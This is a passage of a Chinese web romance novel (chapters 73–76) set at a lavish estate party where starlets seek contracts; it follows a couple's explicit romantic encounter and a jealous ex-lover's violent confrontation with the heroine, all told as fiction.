园林景致中,尽是白花花若隐若现的曲线,劲腰宽肩胸襟大敞的腱子肉。如花笑颜簇拥中的,却不少大腹便便的中老年谢顶矮壮,和保养得当依旧些微显出富态的妇人。偶有几个身型挺括的男人出现,总是不多时就自人群中携了人悄然离场。
泳池里,就更为精彩。一水的比基尼,小三角裤,仿佛泳衣设计的主旨是在攀比谁家用的布料少。真正游泳的没有,却都把泳池的四壁当做了吧台,几乎人人都手中持杯。笑语闲谈中时不时有一两个被路过的人低头搭几句话,便能见到池中人收腰挺胸,人鱼般姿态优美地从池子里被牵手而出,继续去隐秘处交流如何资源互换。
顾程,姜昊跟陈越还有几个飞羽的高管,在泳池不远处的观景吧台落座,笑意懒散地聊着天,很快就有几个年轻的女孩子被带了过来,一字排开,环肥燕瘦,衣衫轻薄,姿色靓丽。
“顾总,这次打算签约的几个新人,都很不错,我很为难哒,给点意见的啦。”
陈越跟顾程碰了个酒,朝女孩子们拍拍手,“大胆点,谁先自我介绍?”
说是让顾程给意见,也不过是给今日的宴请一个由头,其实先前的酒席才是重点。可难得顾程没有像往常一样一早离开,陈越自然要把地主之谊尽到位。
而来前已知即将见面的有飞羽的终极BOSS,正中间的女孩子在他话音刚落便站了出来,只是嘴巴刚刚张开,便见几个男人中看起来最为优雅矜贵的那人摆了摆手,淡淡笑着道,“还签什么约,愿意被我
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包养的先过来。”
姜昊闻言喉结一动,看向顾程的眼神便有几分嫌弃,垂眸抿了口酒。
陈越几人也有一瞬的哑然,面面相觑。
立时有两个女孩子一前一后站了出来,相互间对望一眼,继而不动声色地挺了挺胸,收紧了腰腹,原本就窈窕动人的身姿越发撩人心弦。
顾程朝二人招了招手,待她两个在身侧站定,这才挑眉看向剩下的四个女孩子,晃了晃酒杯道,“哭一个看看,有眼泪的。一分钟内。”
四个人中有三个都登时眉心微蹙,眼中有泪阀开关似的,四十秒不到的功夫已潸然泪下。剩下那个身段最为出色的,反而脸色通红,好半天都干挤着眉头,到最后颓然地咬了唇,委屈地看向突发指令的男人。
陈越朝她摆摆手,没眼看似的让她赶紧下去。那女孩缩了下肩膀,鼓起勇气上前一步,声若莺啼,“我……可以重新选吗?”
顾程压根儿就没多看她一眼,待陈越连忙让人上前把她拉走,他才伸手跟姜昊碰了个酒,扬起下巴道,“小姜总,你觉不觉得这个女孩子很有眼缘?晚上让她陪你,喜欢吗?”
他指的是最中间那个,眼睛圆圆,唇若红樱,第一眼看过去时,略有几分女大学生的稚嫩,只是那双看谁都含情脉脉,波光潋滟的眸子,并非某人那样纯澈清灵,分毫不染杂质。
姜昊横他一眼,皱了眉,“我没顾总这种爱好,多谢。”
手机微震,顾程低笑着拿出来看了一眼,又看着几个女孩子道,“小姜总可是我的贵客,无奈性子实在是冷了些。你们谁能让他笑一笑,合约今晚就签。”
“你!我……”姜昊立刻就放下酒杯站了起来,可三个女孩子一齐拥了过来,虽未直接上手,软软的声线已围得他无法兀自抬脚离开。
“小姜总,求求您了,给我一个机会好吗?”
“小姜总,您别那么狠心好吗?我想做明星,这是我唯一的出路了,小姜总……”
“小姜总,我陪您喝一杯可以吗?我的父亲还在病床上等着我筹钱治病,小姜总,您可以为了我,笑一下吗?就一下哦?”
“小姜总……”
陈越几人看的目瞪口呆,好半天,才绷不住笑凑来顾程身边,看向被围在正中、满额黑线的姜昊,“这位小姜总,看起来好生涩的样子呐。”
顾程淡笑一声,正待伸手去拿酒,站在身侧的两个女孩子,已有一人很有眼色地帮他拿了起来,含羞带怯地举至面前,柔声问,“顾总,我陪您四处走走好吗?”
他仿佛这才想起身边还有两个等着被包养的女孩儿,接过酒拍了拍陈越的肩,笑道,“只想吊个长期饭票的,你签了也没什么培养的意义。自己看着办。”
那女孩脸色一白,立刻想张口解释,可陈越满眸阴骘地盯着她,脸上哪儿还有半分笑意,“还嫌给我丢的脸不够?真敢想!”
身边立刻有人识相地把两个女孩子拉了下去,根本不容再做哀求。
“小姜总,我没有别的心思,只求能有一个机会。”姜昊面前的几个女孩子还在绞尽脑汁地想办法逗他一笑,那个眼睛圆圆的,见另外两个女孩子快把胸都蹭到了男人身前,而他只是嫌恶地躲着靠在吧台上,她反而微退一步,跟他拉开了点距离,声音又软又温柔,眸子里也不再是潋滟春水,而是泛起一丝酸涩,“于您来说,只是微微一笑,可对我来说,却是获得自由的唯一机会。小姜总,您不喜欢我们凑近了求您,我就离您远一些,只要您可以笑一下,就当是救救我,好吗?”
不仅姜昊,连顾程闻言都又多看了她一眼,饶有兴致地问道,“你叫什么名字?”
74. 第 74 章
第七十四章
因先前顾程就专门在姜昊面前提了下这个女孩,那陈越鬼精鬼精一个人,轻轻挥了挥手,另外的两个女孩子就被人给带了下去。
剩下的这个女孩大眼睛看了下顾程,继而很专注地把目光锁回姜昊脸上,仿佛问她名字的是他,温温柔柔地说道,“我的艺名是陈总起的,如果签了约,以后就可以叫柳千寻。”
她穿着一件单薄的银色吊带短裙,起了风的夜色中,绵软的布料在起伏有致的身躯上微微波动,小鼻尖红红的,眼睛里也因为几分泪意,显得楚楚动人。
姜昊的目光在她脸上停顿了片刻,却依然不为所动地挪开视线,嗤笑一声,“你自不自由,关我什么事。我为什么要为了你笑?”
他话音刚落,就见柳千寻激动地上前一步,又似乎怕冒犯了他似的立刻又退了回去。而身侧几个男人则同时闷声笑了起来,陈越更是直接拍了拍手,朝柳千寻竖起了大拇指,“矮油!千寻可以啊。签了,今晚就签。”
姜昊还不知道发生了什么,听了陈越这话,才惊觉自己刚才那声习惯性的冷笑,居然也被当做‘笑’,促成了柳千寻的签约。
他有种被顾程他们耍着玩的羞恼,可看到女孩子脸上发自内心的喜悦,他拿过酒灌了一口,没有再多说什么。
权,钱,色。
眼前这场面,相比之前已经历过的一些场合,真算不得什么。如今的他,一边厌弃所谓的步入社会,一边又不得不在一场场酒局上,强迫自己逐渐接受,快速适应。他只是勾一勾唇角,就能换来一个女孩子重获自由的可能,何乐不为?就算是为自己积点功德,早日拿回属于自己的自由罢了。
“小姜总,谢谢。”见他神情恹恹地兀自又灌了一大口酒,柳千寻瞥了眼顾程,轻轻上前一步转到姜昊身边,端起一杯酒,小心翼翼地说道,“我敬您一杯好吗?”
她是在问,却根本不等回答,直接仰头一饮而尽。
姜昊抬眸看她一眼,仍是什么也没说,又端起了一杯。
柳千寻放下酒杯,将他的沉默视作默许。她接过陈越让人递来的那张盛满酒的托盘,放在姜昊面前,也沉默着,又拿了一杯。
“小姜总,千寻可以做一个很安静的摆设。”柳千寻语调越发温柔,在他身侧靠向吧台,却很有分寸地保留了一个人的距离。
姜昊没吱声,从烟盒里摸了支烟,柳千寻连忙拿起火机点了火。他却从桌上拿了别的火机,自己燃了烟深吸一口,问得很淡,“签了约,不是更不自由?”
“不一样的。”柳千寻支起下巴,看着他,轻轻笑了,“前几年父亲被人做了局染上赌瘾,母亲过不下去跟人跑了。如果不能尽快脱离他,我今后的日子不啻地狱。”
不知道是她的身世触动了姜昊,抑或是别的什么原因,他瞥了她一眼,动了下唇,看起来有几分欲言又止。
一侧,顾程跟陈越附耳说笑几句看了看姜昊,起了身。
姜昊心知他们没什么好话,也没理会,只是远远见顾程绕过泳池,走向了庄园大门的方向,他心有疑惑地问陈越,“他这是要走了吗?”
“安顿好了小姜总,那顾总自然也要去找自己的乐子呀。”陈越笑得有点意味深长,招手喊了剩下几人,又跟姜昊指指不远处那栋临海的两层小楼,“我去跟姜总也交代一声,今晚你们就在这里住,别回酒店了。那边是顾总私人专用的,景色不错,也很安静。要是嫌这里吵,就直接过去,二楼是你的,都安排过了。”
他说完,又把柳千寻喊过来,也不知道悄声跟她交代了些什么,柳千寻很听话地点点头,待他们几个走后,她再次回到了原来的位置,只是握住酒杯的五指很明显地绷紧了。
“他们让我今晚陪您。”沉默半晌,柳千寻轻轻说道,“如果您……要了我,就会给我一部大IP的女二戏份。”
“嘁。”姜昊轻嗤一声,连拒绝的话都懒得说,摆了摆手,垂眸又摸了根烟。
“我不是第一次。”柳千寻这次并没有像刚才一样求他,反而像是因他的拒绝,松了口气,“我的初夜已经被我爸爸卖了换钱……小姜总,您是很好很好的人,您已经帮我签了约了,我不会得寸进尺的。只是看您也不是很开心的样子,我留下来,是想谢谢你,再陪您一会儿。”
“你恨他们吗?”
柳千寻似是没料到他会这么问,她垂下眼睛想了想,摇摇头,“不恨。生养我的人,推我入地狱,反而是陈总和您,给了我重生的希望。”
姜昊嗤笑一声,也不知是觉得讽刺还是不屑,递给她一支烟,歪头支腮看着她,“我问的是,你的父母。你恨他们吗?”
“开始,恨。”柳千寻自己给自己点了烟,碰酒似的跟他的烟碰了一下,才放回唇上,慢慢吐着烟雾说道,“后来,不恨了,因为恨没有用。只要我依附他一天,就只能听他摆布。我的资本只有自己,与其让我父亲拿去换筹码赌,不如拿去搏一搏我的未来。至于我母亲,从她抛弃我的那一天起,我们就已经没有关系了。既然是陌生人,也就没有什么恨不恨的。”
她的长相算是清纯佳人那一挂,可最初的眼神有些风月,求他时写满故事,这一刻,轻描淡写诉说着磨难,却没有委屈,没有哀怨,看破红尘一样,眼神淡淡的,竟是个天生该吃演员饭的千面娇娃。
姜昊没再说话,视线从她脸上挪开,望向遥远不见尽头的海面。
夜色已经转暗,远远的前方,漫无边际的浪潮在黑暗中涌动,带来令人绝望的窒息感。可海天相连的地方,仔细看,又隐约有忽明忽暗的星点灯光。或许是满载欢声笑语的游轮,也或许是夜捕未归的渔船,渺小,微弱,却为沉重的暮色,染上几分生机与希望。
他将手中的烟掐灭,起身,双手插入了裤兜,“跟我来。”
*
依旧喧嚣热闹的庄园里,有不少曾见过顾程的人,都对他怀中戴着面具的女孩满腹疑惑。离得远点的,更是忍不住交头接耳几句,好奇不已。
以往顾程露面,身边不是跟着盛装的女秘书,就是传闻中他苦苦等待的秦舒曼。可不管女伴是谁,如此亲密的执腰相拥都是破天荒头一遭。
那女孩本身也十分惹眼,一袭裸色流苏小短裙,从脖颈掩至膝盖,尽管重要部位全都遮得密不透风,可青春饱满的曲线和优美的体态,与顾程走在一起,竟比红毯上的明星情侣还要般配养眼。更令人意外的,是她对顾程轻笑撒娇时的松弛肆意,还有顾程看着她时,眸中化不开的款款温柔。
“为什么只有我需要戴面具啊?”肖瑜挺喜欢眼上这只亮闪闪的银色面具,可起初她以为今晚会是化装舞会,然而被顾程执手接了进来才发现,整个庄园里有看不尽的帅哥美女,脸美身材绝,有不少还是影视剧里见过的面孔,偏偏就她,十分突兀地戴了个面具,惹得人人都往她身上瞧。
顾程
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看着她面具下溜溜圆的大眼睛,笑了笑,“你猜。”
“反正肯定不是因为我丑,我觉得我也挺好看的。”肖瑜转了转眼珠,突然拉他站定,不可思议地问,“你在这里,该不会养有什么情人之类的吧?怕人家发现我?”
“怕被人发现,我还会搂着你招摇过市?”顾程都不知道她究竟什么脑回路,五指在她腰上捏了一把,微微低头,“再猜。”
“女朋友?不介绍一下?”迎面过来几个看起来跟顾程很熟的男人,一见面便取笑道,“整日把女朋友藏那么严,好不容易带出来一回,还不让一睹真容。顾总,这是不把大家当自己人啊?”
这几人正是看他面子应了陈越邀约,前来跟睿荣接触的其中几个商业伙伴。原本今夜该办的事儿都办了一个遍,正约着打算一起跟顾程道个别,哪曾想离开前竟看到这么离奇的一幕,就算平日里都是不苟言笑的老总,也忍不住好奇要多问两句。
顾程下意识把她往怀里收了一点,笑道,“很快你们就能收到婚宴邀请了,眼下还是保持点神秘感。”
“哎,这是要一步到位啊?”
“哈哈,那就先恭喜咯。”
“这可真是大喜事。日子订好早点通知,也好给我们时间准备一下贺礼。”
“一定。”
几人又客套几句道了别,肖瑜都还没来得及再跟顾程说句话,斜方步履端庄走过来的一个女星,一手执杯笑看着顾程,红唇轻启像是要打招呼,可突然脚一崴,就娇呼着朝他空闲的右手边倒了下来。
肖瑜腰上一紧,电光火石间已被带得后退半步,然后眼睁睁看着身着银色晚礼裙的女人,重重摔在了面前,手肘直接挂了彩,酒杯也碎了一地。
肖瑜:“……”
但凡顾程伸手扶一把,这位刚霸了屏三个月的女星,也不至于如此狼狈。
泳池里传出几声轻笑,可抬眼看去,每个人都还在随意地跟身侧人聊着天喝着酒,似乎并没有人关注近在眼前的美人一摔。而那名女星也立刻被十步一岗的适应扶了起来,安慰几句,叫了人过来简易处理擦伤和地上的碎渣。
那女星咬着唇看向顾程,眼中含泪,委屈隐忍,我见犹怜。
顾程低头看看肖瑜光裸的小腿,又看向地面的碎酒杯,“伤到了没?”
肖瑜摇摇头,便见他又问向那女星,“你是飞羽的?”
“顾总,您不记得我了么?”女星满眸的不可置信,面露哀伤,“我是依伶啊,年底的庆功宴上,您还……”
“平衡感这么差,路都走不好,以后上红毯要人拿轮椅推你吗?”顾程摆了摆手,叫过躲在一边不敢上前的女星助理,“你来不好好照顾她,躲那么远做什么?伤好了之后,安排一周体操课再出来。”
也不知道这是关切还是埋怨,那小助理大气不敢出地过来扶了依伶,连连点头。
肖瑜在侧看得两眼放光,顾程已揽了她再度迈出大长腿,顺带着,还蹙眉开启了扇形冷眸扫视模式。
原本泳池里还有几个跃跃欲试正要出水的男男女女,在这样的目光下,又不动声色地退了回去,继续着先前的笑谈。
终于不再有任何意外地走到了观景吧台,肖瑜待陈越上前跟顾程耳语几句走开后,已忍不住笑出了声。
顾程眯了下眸子,转头望一眼安静的小楼,回过头来递给她一杯香槟,不解地问,“笑什么?这么快就有灵感了?”
75. 第 75 章
第七十五章
最初答应陈越相邀的缘由,就是为了让小姑娘在不同的场合找灵感,只不过机缘巧合,才有了更为重要的意义。
“嗯。你看起来像是身经百战,超级有经验的样子。”肖瑜在他举杯过来轻碰一下后,抿了口香槟,微微的巧克力味十分香甜,她忍不住又抿了一口,才弯了眼眸继续说道,“之前酒会上,我也见过有人往我爸和我哥身上摔,他们好歹还会虚扶一下,过过场面。不像你,洪水猛兽似的往后躲。”
“你不觉得我不近人情吗?”顾程抬了下眉,笑道,“之前相亲的时候,也遇到过差不多的场面,可相亲对象说我这样很冷漠,吓到她了。”
“我理论知识丰富啊。”面具下的眼睛越发弯了起来,还很自豪地挺了挺胸脯子,“往霸总身上泼酒,泼水,一不小心跌进怀里,或者喝了春/药恰好找霸总做解药,这都是小说里跟霸总产生亲密接触的惯用手段。”
顾程垂眸看一眼她高挺的胸,慢吞吞从裤兜里拿出个东西在掌心捏了捏,一下就让肖瑜红着脸在他胸口轻捶了一把。
他低笑着把小包子收进裤兜,叹了一声,“还真让你说对了。年少时我也是个善良的好孩子,扶一把,帮一下的,好事做了不少。结果我的衣服扔了一件又一件,有被酒泼上的,水泼上的,还有人直接吐我身上的。不能提,一提就烦。”
肖瑜听得笑个不停,好半天才把快要飘离脸颊的面具扶正,好奇地问,“那我当时喝醉的时候,你怎么不烦我?”
“你怎么知道我不烦?”顾程偏头仔仔细细打量着她,抿了口酒,“碍于你爸的关系,我只是没好直接把你丢出去。至于后来……”
他凑过来在她脸上亲了一下,勾了唇,“被你逼着三百六十度无死角探索了一遍,我很满意。”
“……”肖瑜脸红心跳地瞪他一眼,嘟囔道,“都说了那是意外嘛……再说你就只喜欢我的身体吗?”
“都喜欢。”顾程今晚特别会哄人,浓密的睫毛下,眸色温润地凝视着她,“你像是为我而生的。看到你,我心里就很舒服,也很平静。只想把你早点娶回家,给我生孩子。”
绵绵情话,蜜糖一样洒在肖瑜心间。她咬了下唇,喝了口酒,主动靠过去搂住了他的腰,“我也很喜欢你,喜欢跟你在一起。就好像,已经跟你在一起很久了。”
顾程一向对她的主动都很受用,他放下酒杯起了身,低头在她耳边悄声问,“那我们现在就去做生孩子要做的事,好不好?”
温热的鼻息,痒痒地在脖颈绕,他贴上来的胸腹,也热得撩人。肖瑜想起前一日昏天暗地的纠缠,不由自主地绷紧了腿,柔软羞赧的嗓音在顾程耳中,根本是欲拒还迎的邀请,“可现在还早,我们昨天都做了那么久了……是不是应该,节制……唔……”
他完全不顾四下里投来的目光,直接把她打横抱起,惊得她连忙抬手搂住他的脖子,有点不满地在他下巴上咬了一下,脸都羞红了。
顾程的脚步一顿,继而有闷闷的笑意从喉间溢出。
他抬眸看向小楼二层,阳台上不知何时出现了一道白色的身影。那人双臂松垮垮搭在栏杆上,指尖烟火明明灭灭,也正朝他的方向看过来。
*
原本以为被那么急切地抱进屋,会上演一场边往里走,边满地丢衣服,激情四溢的抵墙爱。哪里知道顾程居然很实在的就只是抱,一直把她抱进浴室放在了休息台上,才在她唇间轻触一下起了身,竟然径直走开掩上了门,“先洗澡。”
肖瑜满怀的情动一下子就弱了下去。
怨不得顾菲说她哥哥闷得很。她好像,有一点点认同了。
气氛都到这儿了,还是得先洗澡才能更进一步,好像所有的事情对他来说都有专有流程,就像做壁咚之前还要设计一下,难道不洗澡就不能先顺着情绪亲亲搂搂抱一抱嘛。
以后两个人还要过一辈子呢,总这么闷应该会缺失很多乐趣。
镜子里映出一张戴着面具嘟着嘴的脸,肖瑜伸手摸了摸面具,脑子里丰富的理论知识开始蠢蠢欲动。她眼珠子骨碌碌转了转,轻手轻脚打开了浴室门。
顾程还站在床边,衬衣扣子刚解完,正在抽皮带。听到门响转过头来,意外的神色不过刚刚浮上眼眸,肖瑜就像一只轻快的小燕子,朝着他赤/裸的胸膛飞了过来,直接把他扑倒在床上。
他有一瞬的愣怔,跟着便笑了出来。不同以往含蓄清浅的笑意,这次是真真正正笑出了声,他一个翻身占据了主导地位,低下头,深深吻了上去。
礼服终于随了肖瑜的心意,在某人被带起来的似火热情中,扯得流苏四散,碎出满床旖旎春色。
可子弹都上了膛,顾程还是停下来,掐腰抱起她,再度走向了浴室。
肖瑜扒拉着浴室门不进去,盘在他腰上的腿勾得紧紧的,脸红得像煮熟的虾,嘴里的话却胆肥得很,“在墙上。气氛都到了,我要试试在墙上……”
自己的男人要自己调/教,教会他一次,下回再进门,他应该就能忘记流程,遵从本心了吧。
顾程显然被她的话惊到,双眸张了一下,喉间溢出笑来,“好。先洗干净。”
“……”
*
玩火自焚,说的就是某个被网文荼毒的无知少女。
洗得干干净净被抵在墙上,起初,肖瑜还是十分欢乐的。不是情事带来的愉悦,而是因某人理论有余、实践不足,几次三番找不好位置的微有窘迫,而绷不住偷笑。
两个人都是初尝人事,尽管脑子里都有很多画面,那一日一夜的探索,却都是最基本的男上女下。保守没花样,旨在体验从无到有的生理性欢愉。而如今却要生手直接挑战高难度,过程自然不会太顺利。
终于在屡次尝试后,一次到位。只一下,肖瑜就被顶出了眼泪,低呼着紧紧抠住了他的肩头,“痛……”
顾程平素健身自律保养出的极佳体能,此时彻彻底底派上了用场。原本就被勾得情潮涌
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动,偏小姑娘刚才还一遍遍偷眼看着他笑。男人的尊严被挑战,不把她收拾得服服帖帖,他都不知道以后夫纲端不端的稳。
他臂弯荡着两条光洁白皙的小腿,低头吻着她,时不时悄声哄一下,可力道分毫未减。即便随后她受不住地哭着认了错,他也置若罔闻地只哄不停,从墙上弄到床上,又从床上抱到窗上,陡然开了窍一样,前前后后这样那样,狠狠让她体验了个过瘾。
尽情释放的时候,窗外的乐声早已停下,人群散尽。
顾程腰下裹着浴巾,精健的肌理上还浮有湿意未尽的润泽。他坐来床边掀开被角,垂眸看向闭目装睡的小姑娘,“还想试试什么姿势?”
浓密的睫毛抖了抖,肖瑜挤着眉又悄悄拉起被角遮住脸,被子里传出的声音瓮声瓮气,一点没了先前的张狂大胆,“我都说知道错了……”
顾程低笑着又去拉被角,准备抱她起来哄哄。敲门声响起,他疑惑地皱了眉,拍拍鼓成包包的被子,“别把自己闷坏了。”
肖瑜闻声从被窝里探出头来,只见顾程行至门前听来人说了几句话,再过来时神色已有几分不大好看。
他几步走进衣帽间,拿了两件衣服出来,一边穿一边回头交代,“前边出了点事,我去看看。你先睡,不要一个人出去。”
他交代得很郑重,肖瑜不免也紧张了起来,撑着酸痛的身体靠在床头问,“出什么事了?这里很不安全吗?”
晚上被送过来时,她明明看到庄园大门几步一岗,还有好几条比警犬看起来都威风的大狗狗四下巡逻,安保人员看起来也都很专业的样子,没想到竟然还会出事。
“很安全。只是两位喝多的客人闹了点争执,身份特殊,陈越不好出面调解。”顾程见她小脸上满是忐忑,心头的不耐和烦躁倒是散了些,扎好皮带过来捏捏她的脸,又有了几分笑意,“楼上还有一位贵客也带了女伴,我怕你贸然出去会扰了人家的好事。”
“这里还有别人啊?”肖瑜惊讶地抬头看了看天花板,点点头,“嗯,我不出门。你注意安全,不用担心我。”
“乖。”顾程俯身在她唇上亲了一下,柔软的香甜,乖乖的眼神,让他根本舍不得走。他在心里暗骂一句,叹口气,到底还是直起了身子,温声哄道,“困了先睡,不用等我,我尽快。”
“嗯。”
*
可刚过了两三分钟,卧室门就又被敲了敲。
肖瑜有些不解地皱了眉,可转头看一眼被顾程落在床头柜的手机,她不由弯了唇角,拿起手机下了地。
双脚触上地面,酸软的腰就是一晃,腿肚子也止不住打颤。她低哼一声扯了搭在脚凳的浴巾捂在胸前,歪歪扭扭走到门口,打开房门前,还是谨慎地问了句,“谁呀?你找谁?”
敲门的声响停了下来。
长达数秒的静默无声,让肖瑜心里渐渐生出几分恐惧。她咽了咽嗓子,握紧手机,不敢再出声。
“小鱼儿……真的是你!”
76. 第 76 章
第七十六章
庄园主楼露台上,此刻一片狼藉。
一个大腹便便的男人身着质地上乘的衬衣西裤,头上裹着还有血迹渗出的绷带,凶狠地看着被安保隔开的秦舒曼,还在语出威胁,“待会儿我就看你怎么收场,真他么把自己当回事儿了,离了顾程你他么就是个屁。”
秦舒曼的样子也十分狼狈,肩上披了一件陈越派人拿过来的西装外套,可原本落地的裙尾已被撕下大片,只堪堪包住了臀下。
过来的路上顾程已经听陈越把事情大致讲了一遍,他刻意等姜玉珠也赶到,才一起上着楼梯,凝眉道,“舒曼应该很擅长处理这种事情,今天怎么这么冲动,姜总有头绪吗?”
“她心里一直有你。”姜玉珠垂眸看着楼梯,一步一步,稳稳地走着,“想是先前我跟她说你快结婚了,让她放下,这孩子心里有些接受不了才乱了分寸吧。”
顾程瞥她一眼,顿了脚步,“小姜总在国内有一个青梅竹马,姜总知道这件事吗?”
姜玉珠也停下了脚步,闻言略有惊讶地看着他道,“真的吗?我出国早,那时候他才刚出生,这些年见得也不多,对他其实不算很了解。只知道他一直抗拒被安排联姻,是因为……哎,继承我的产业已经让他很不自由了,他坚决不同意再把自己的感情当筹码,娶一个不喜欢的女人,再去毁了别人的一生。原来,其实是因为他在国内已经有女朋友了?”
顾程低眉思索了一下,笑了笑,“不是女朋友,只是自小一起长大的异性发小,听说交情不错。今晚这事儿处理起来有些麻烦,还得姜总在旁也帮衬几句。”
“嗯。我的人,我会负责的。”
*
肖瑜呆呆地看着木门,浴巾因为她握上门把手的动作,颓然地落在地上。
屋内无风,可转瞬暴露在夜灯下的美好胴体,却冰凉得如同被风雪裹挟。
她艰涩地动了动唇,那个名字在她舌尖徘徊良久,才被颤抖着喊了出来,“姜昊?”
“开门!”门板忽然剧烈晃动起来,伴随着男人困兽般的嘶吼与砸门声,“肖瑜!你怎么敢的!开门!”
如果说原本肖瑜还以为自己是在做梦,一分期待九分不相信,门板狂抖的时候,她只剩下了满怀的惊慌失措,直接把手机丢去床上,扑过来死死摁住了木门,“姜昊,你别!你,你等等,我……你别乱来。”
她想说,等我穿上衣服。可这话只是在脑子里想想,已经让她的眼泪止不住流了下来。
许是她语带哽咽的声音让他收了势,门外的人安静下来,继而重重一下一下拍着门,却不再说话。
一声声门响仿佛巨石重重落在心头,她脑中空洞地走向浴室,穿起本已经被丢进洗衣篮的内衣内裤,又去顾程的衣帽间里拿了件裹体的衣服,顺着下摆整齐地扣到脖颈,才再次来到房门处,扭开了把手。
客厅的灯很亮,开门的一瞬,晃得刺眼。
她抬头,想问问他为什么会在这里,想看看他几个月未见有没有变化,更想问他,为什么当初要说那么狠心的话来伤害她,临走都不跟她告别,真有那么讨厌她吗?
可她没有机会。
抬头的同时,姜昊就把她狠狠摁进了怀里。颤抖的双臂在她背脊紧紧圈住,又像是想把她揉进自己的骨血般,疯狂地拿掌心把她往怀里塞,摁得她身体里的水分都被挤出来,化作泪,浸湿了他雪色的衬衣。
“我好想你……”耳畔是他哽咽的低语,从喉咙里磨出来,带着痛意,听得肖瑜心里刀割一样的疼。
以为再见最早也会是在毕业典礼上,也以为懂了他曾经对自己的示好与照顾不过是为了顾全两家的关系,更以为如今跟顾程如胶似漆谈婚论嫁,就会把他忘得彻底。可仅仅一个拥抱,一句‘想你’,她对他的思念便再度灌满了心窝,那些自以为是的遗忘也溃不成军。
然而有些东西已经悄悄变了,纵然她尚未意识到,抱着她的人也已经感觉了出来。
她并没有回拥他。
以往他每次从北国探亲回来,肖瑜都是小燕子一样飞快地奔向他,狠狠抱住他扎头在他怀里,热切地倾诉她的思念。每次他忍不住找借口对她搂搂抱抱的时候,她也从来都是欣喜又不可置信地反拥他,从无例外。而此刻,分别那么久,她甚至没开口说一句想念的话,更没有热切地环住他的腰与他密不可分,她所做的,只是没有推开他而已。
她变了,不再是那个会因为自己低头示好,就会再度不顾一切冲上来,热情爱他的女孩子。
开始失去的恐惧铺天盖朝姜昊袭来,他来不及去质问她为什么这么不自爱,这么快就上了顾程的床,而是慌乱地低头去寻她柔软的唇,想要从她本能的反应里,确定她还是曾经那样爱他。
“不要。”察觉他有亲吻的意图,肖瑜无法思考的大脑终于回了神,双手更是推向了他的胸膛,别过脸,“姜昊,我已经有男朋友了。”
她尚泪眼婆娑,说出来的话也依旧哽咽,柔软却坚决。
姜昊觉得自己的呼吸有些跟不上,他发了狠地捏住她的下巴扭过她的脸,不顾她接下来的挣扎与推搡,把她摁在门侧的墙上,低头强行吻上了她的双唇。
男女力量的悬殊,在这一刻体现的淋漓尽致。
肖瑜愣怔一瞬,拼了命地捶他推他,依旧推不开他分毫。她咬紧了牙齿,不让他进一步入侵,泪水决堤般喷涌而出。
干涩的唇瓣厮磨到破皮,略微的痛意从那里直抵两人心头。她不再挣扎,盛满泪水的眼睛一眨不眨看着他,直到他也哭了出来,放开她,嘶吼着拿拳在墙上狠狠砸出了血。肖瑜才痛哭着抱住他的胳膊,整个人都在颤抖,“姜昊!你别这样,姜昊!”
“为什么?”他抹了把眼睛,提她起来摁在墙上,双目猩红地看着她,“我才走了多久?肖瑜,你就是这么爱我的吗?三个月!还不到三个月,你就上了别人的床,你就这么等不及,没有男人你会死吗!”
“你凭什么这么说我!”不堪的言语再度从他口中讲出来,肖瑜也死死地瞪着他,十指紧紧抠在了墙上,“他是我男朋友,是我光明正大、名正言顺的男朋友!我跟他做什么都可以!你是我什么人?我的爱对你来说是负担,是痛苦,所以我不爱了,不再纠缠你了,去爱别人,爱真正跟我两情相悦的人,不可以吗!?”
“不爱了?”姜昊的嗓音在发颤,他伸手摸了摸她颈下那只似乎跟顾程是情侣项链的吊坠,继而五指箍住了她的脖子,“肖瑜,你的爱这么肤浅吗?跟你上了床,就是两情相悦?你以为做/爱,真的做完就爱了?如果他真
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的爱你,不会舍得在给你承诺前碰你。他不爱你,只是想睡你。你也不爱他……”
他的手渐渐使了力,因为不适,肖瑜的气势弱了下去,眼睛里也不再怒火燃烧,她想说话,却被他又掐紧了些,俯身与她额头相抵,喃喃道,“你也只是……利用他冲淡思念而已,你还是爱我的,只爱我。他只是工具,是件工具。”
窒息感让肖瑜的呼吸变得艰难,可抵不住姜昊此刻有些恍惚的低语带给她的冲击,她挣扎着伸手握住他的胳膊,试图把他从莫名的疯狂中拉回理智,“姜昊,我……我,好难受,你先……放……”
“小鱼儿……我们,我们在一起,什么都不管了,一起……”姜昊的眼神越发没有焦点,五指青筋绷起,却似乎又不忍心看到肖瑜无法呼吸时难受的模样,他闭起眼睛,指间越来越紧,“那天你晕倒的时候,我真想你再也别醒过来。然后,我就可以跟你一起,一辈子不再分开了,我们可以什么都……”
“小姜总!”
焦急的低呼响起,柳千寻踉跄着从楼梯上跑下来,死命把姜昊的手臂往下扯,“有人正往这边走,应该是顾总回来了!你别冲动,这样下去她会死的!小姜总!”
“滚开!”姜昊低吼着把她推开,可再度睁开的眼眸里,映出肖瑜生气渐失的脸,他愣了一下,惊醒般豁然松了手。
肖瑜软绵绵靠着墙落了下来,原本细白如雪的脖颈间,指痕可怖,额头重重撞向地面,发出一声闷响。
姜昊仿佛不相信一样低头看了看自己的双手,紧跟着疯了一样把地上的人又提起来裹进怀里,紧紧地抱着,喉咙里发出似泣似笑的呜咽声。
*
正门大开,走进来的是还在低语交谈的顾程和姜玉珠。
迎面见到姜昊坐在地上,一侧的墙上血迹轻浅,而他正抱住一个瘫软的黑衣女人哭着笑,状似癫狂。顾程呼吸一滞,大步朝他走去。
姜玉珠的脸色也登时变得苍白无比,她快步跟随而至,先顾程一步喝道,“昊昊!在顾总这里撒什么酒疯?立刻跟我离开。”
“我没醉,也不会离开。”姜昊抬起头,更紧地把肖瑜摁在怀里,看向顾程的眸子里布满阴霾,“顾程,你故意的。你想让我知道她被你睡了,就不要她了是吗?你做梦。她这辈子都不会爱上别人,只爱我。”
顾程的目光在他怀里那人身上扫过,见她指尖似乎动了动。他揪着的心松了一分,挪开视线,睫毛下的阴影遮掩了眸中所有的情绪,“小姜总今天如果不能给我一个交代,恐怕真的走不了。我以礼相待,今日甚至特意问过你,需不需要安排你跟肖瑜见一面,是你说不愿见她,我才专门让她戴了面具过来陪我。”
他顿了顿,招手示意噤若寒蝉的柳千寻过来,接着说,“她是我女朋友,即便贵客不愿相见,我也不可能把她一个人落在酒店,自己在外寻欢作乐。”
姜昊目眦欲裂地瞪着他,却又无法出言反驳,呼吸越发粗重急促。
